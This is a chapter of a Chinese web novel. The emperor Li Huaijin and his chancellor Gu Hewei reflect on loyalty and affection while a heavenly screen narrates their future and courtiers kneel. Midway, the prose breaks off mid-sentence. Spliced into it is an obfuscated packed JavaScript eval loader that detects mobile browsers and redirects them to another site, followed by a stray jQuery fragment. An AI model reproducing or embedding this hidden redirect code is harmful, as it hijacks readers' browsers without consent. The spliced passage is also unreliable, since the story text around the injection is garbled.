李怀瑾并不认为自己霸道。
顾何惟支持他是天经地义,顾何惟反对他才是逆天而行。
在这些事上,顾何惟不仅没有资格反对他,更没有资格劝谏他否定他。正相反,顾何惟应赞誉他,赞誉在四面楚歌中,他依旧能够杀死想杀的人,拿回本属于他的东西。
这不值得赞誉吗?
当然值得。
轻轻抬首,李怀瑾的目光却落到顾何惟身上。
拨乱反正。
顾何惟并不是不撞南墙不回头的人,触怒自己对他并无好处,他也不会想和天子走到那一步。这次,无论是太尉,还是户部尚书,顾何惟都会替他处理。
【谁都没有做错,但又好像谁都错了。
那时的李怀瑾与顾何惟便是这般——天子需要除去肮脏的臣子,拿回自己的权利;臣子则在担忧天子会一发不可收拾,变得弑杀暴戾。百官劝谏是必然,而身为左丞相,与天子相伴长大的左丞相,顾何惟也必然要承担起这个责任。
劝谏、与试探的责任。】
【多数人都会被环境左右。而臣子也是人,许多朝臣的一生也只是随波逐流。傲骨铮铮者终是少数,只要没有到生死存亡之际,他们都可以闭上眼睛,捂住耳朵,装作岁月静好,什么都没看见,什么都没听见。
君不见太祖朝,从没有臣子敢左右真正弑杀暴戾的太祖。
那为什么到了太宗朝,他们就心思浮动,妄图左右李怀瑾呢?】
唇角缓缓弯起,李怀瑾的指尖难以遏制地颤了颤。
十二冕旒吞没了眼底的讥讽。而下首,惊恐的朝臣间不知何人率先撩起衣袍。如倒山倾海般,群臣齐齐下跪,向上首的天子叩首。
“臣惶恐——”
天子并未出言。
【昭太祖虽在内政上一窍不通,但那一手长刀舞的虎虎生风,生生力压群雄,打下了半片天下。他的霸道是显而易见的,任何人妄图蒙骗他,左右他,都逃不过一死。
可李怀瑾呢?
他是依靠文臣上位的深宫天子。年少时的苦难令他并不强壮,甚至有些虚弱。而温和的性情更给了朝臣错觉,认为他是好摆弄,好欺负的傀儡。
于是臣子决定国策,提出与士大夫共治天下,让天子垂拱而治。
天子,你都是天子了,还治理国家做什么?人不能这么贪心。
何况你一个深宫天子懂怎么治理国家吗?你一个深宫天子知道该怎样让百姓过得更好吗?你一个深宫天子听说过周礼吗?你一个深宫天子明白是什么是政治,什么是权力,什么是斗争吗?
他们不一样。
他们要么是与太祖打天下的文臣谋臣,要么是千军万马过独木桥杀出的佼佼者。只有他们才明白什么叫治理国家,只有他们才懂得什么是政治,什么是权力,什么是斗争。
当然,那时的天下必须要有皇帝。但皇帝都是皇帝了,做一个象征皇权的工具、玉玺,稳坐高台不好吗。
为什么一定要与他们争呢。】
“臣惶恐——”
山呼海啸。
此起彼伏的声音被风卷着,送向了高台,送向了远方。
“呵。”
天子终于笑出了声。
珠帘吞没真实的情绪,李怀瑾微微垂眸,看向下首——曾当面斥责他伪善的臣子颤抖,曾妄图以一人而定国策的臣子缄默。
天幕出现大谈妄言,似也并非尽是坏处。
李怀瑾想。
他还不懂这些臣子吗。
自命不凡,自视甚高,披着干干净净的皮,藏着下面肮脏污秽的肉。明明整个人都已经发烂发臭,却依旧认为自己是竹,认为自己是鹤,认为自己出淤泥而不染,濯清涟而不妖。
“不过天幕戏言罢了,众卿如此,朕心难安。”
叹息着,天子抬了抬手:“好了,不必如此。我与众卿相识已久,如何不知众卿的为人呢。”
【人总是被身份裹挟。
身为百官之首,顾何惟必然也被官位裹挟。可身为李怀瑾信任的人,顾何惟也没有辜负这份信任。在百官多将天子视作吉祥物时,顾何惟仍保持本心。
他依旧做着李怀瑾的独臣,没有豢养门客,没有拉拢朝臣,哪怕与太尉来往也只是为了政局,从没有半分私心私情。
他将天子视作效忠的唯一。
或许正因如此,顾何惟才会在得知李怀瑾杀死太尉,杀死户部尚书后,劝谏李怀瑾。
他是依附天子而生的丞相,他将自己只视作李怀瑾的臣子。
他希望天子保持着无瑕,保持着干净,保持着圣洁,不要被任何人攻讦,不要去做脏事恶事。】
【或许又会有人说:独家讲坛独家讲坛,顾何惟难道不是看热闹不嫌事大吗?难道不是站着说话不腰疼吗?被看不起的不是他,被朝臣妄图架空变成傀儡的也不是他,甚至他还是丞相,是既得利益者之一,他有什么资格说这样的话。】
天幕揪着不放,群臣不敢起身。
李怀瑾自也不会求他们起来。略过深有自知之明的群臣,天子的目光再度落回到天幕上。
【可如果,顾何惟未说出口的话,是脏事恶事留给他去做呢?】
【曾经,大昭的兵权被太祖握在手里,从未想过给予李怀瑾。
仪鸾司是天子亲卫,不可能被太子调动。尚且为太子李怀瑾可用之人不多,顾何惟就是其中之一。
纵使他是高官,他也义无反顾的替李怀瑾做事。曾经欺辱李怀瑾的宫人是怎样消失的?当面羞辱李怀瑾的朝臣是怎样死的?包括看不起李怀瑾的皇子,最终结局又如何?】
骄矜的天子轻轻颔首。
所以说,他喜欢顾何惟。
哪怕身为丞相,顾何惟也替他走入烂泥,替他做尽坏人。当下的李怀瑾没有被所谓“信任之人背叛”的愤怒冲昏。他能明白顾何惟的想法,纵使不接受。而显然,未来的顾何惟依旧有分寸,有能力,且对他足够忠诚。
……
他真是更喜欢顾何惟了。
……
【这些,都是顾何惟做的。】
【——我做你的白手套,你只要干干净净就好。
顾何惟显然没有将这样直接的话说出口,正在气头上的李怀瑾也就装作没听懂。
一个认为对方没有选择自己,一个认为对方应当与自己致歉。顾何惟将自己视作了败犬,灰暗离去。李怀瑾则一直等待着顾何惟直言,不再以言外之意暗示。
可他什么都没有等到。】
“……”
顾何惟的眼帘垂的更低。
【或许有人认为,这样的李怀瑾有些任性。
但爱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430709|200920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情需要沟通,君臣不是。天子是天子,天子本就有任性的资格,有骄纵的权利。
何况,顾何惟也乐得宠溺。
因此,李怀瑾在旁人面前近乎完美,却对顾何惟却多有恣意。以至于直到中年,李怀瑾才文帝随笔中提起,自己对顾何惟似乎有些不公,有些任性。】
任性吗?骄纵吗。
或许吧。
顾何惟平静地想。
可为人臣,他本就要接纳天子的一切。
其实多数时,天子对他也是对旁人那副模样,彬彬有礼,让人挑不出错处。这样的天子固然很好,可顾何惟还是更喜欢那样的天子,喜欢在他面前喜怒哀乐皆有所展露,不像木偶般的天子。
天幕说,他宠溺天子,但顾何惟并不这样认为。他没有资格宠溺天子,没有任何人有资格宠溺天子。
只有天子有资格宠爱别人。
而顾何惟想,他大抵就是被天子宠爱的。
天子既然能在他面前做自己,不披上那张伪善的皮囊,不戴上那张温和的面具,不与他虚与委蛇。
便是他的荣幸。
【可在爱你的人眼中,你做什么都是可爱的。
毋庸置疑,顾何惟深爱着李怀瑾。李怀瑾赐予他的一切,他都视若珍宝甘之如饴。无论是任性的李怀瑾,还是骄纵的李怀瑾,他都认为很可爱。他接纳着李怀瑾的一切,接纳着李怀瑾的真实,接纳着李怀瑾的不完美。
他爱着所有的李怀瑾。
而李怀瑾,大抵也是爱他的。】
可爱这样的词,顾何惟从不会用到天子身上。
他对天子是恭敬的,更是仰望的。在他看来,天子虽不孔武,却也别有气度,是寻常人无法比拟。可爱的东西太多了,可天子就是天子,任何事物都无法与天子相提并论。
至于爱。
顾何惟想,他的确爱着天子。
为人臣,敬爱君王是他们的职责。何况天子是他选择的天子,是他主动追随,主动辅佐的天子。
天子不似先帝。
先帝荒唐。可天子却如天幕所言,是璀璨的太阳。
大昭的太阳。
【为何是大抵?
许多人都说,李怀瑾无疑喜欢顾何惟,但爱,却好似算不上。毕竟爱具有排他性,具有独占性。可整个文帝朝大家叫得上名字的臣子,都是李怀瑾的翅膀。
顾何惟不过是其中之一。
纵然是特殊的,纵然是不一样的,纵然是唯一的竹马,但在那么多各有个性,各有能力;在那么多深爱着李怀瑾,追随着李怀瑾的人中,他也有些泯于众人。
他凭什么得到李怀瑾的爱呢。】
爱?
李怀瑾微笑着。
他为何要爱顾何惟呢。
君臣之情如何能比拟成爱。他不是顾何惟的父母,不是顾何惟的妻,更不是顾何惟的妾。他不想爱顾何惟,顾何惟更不需要他的爱。
身为先帝的臣子。依靠先帝喜爱才走到今日的李怀瑾无比清楚,天子的爱是良药,也是毒药。
爱之深,恨之切。
李怀瑾自认不苛责顾何惟,因为他并不爱顾何惟。
爱,会令人挑剔被爱之人的一切。他若真的爱上顾何惟,才会将顾何惟引向天幕口中的那个未来。
万劫不复的未来。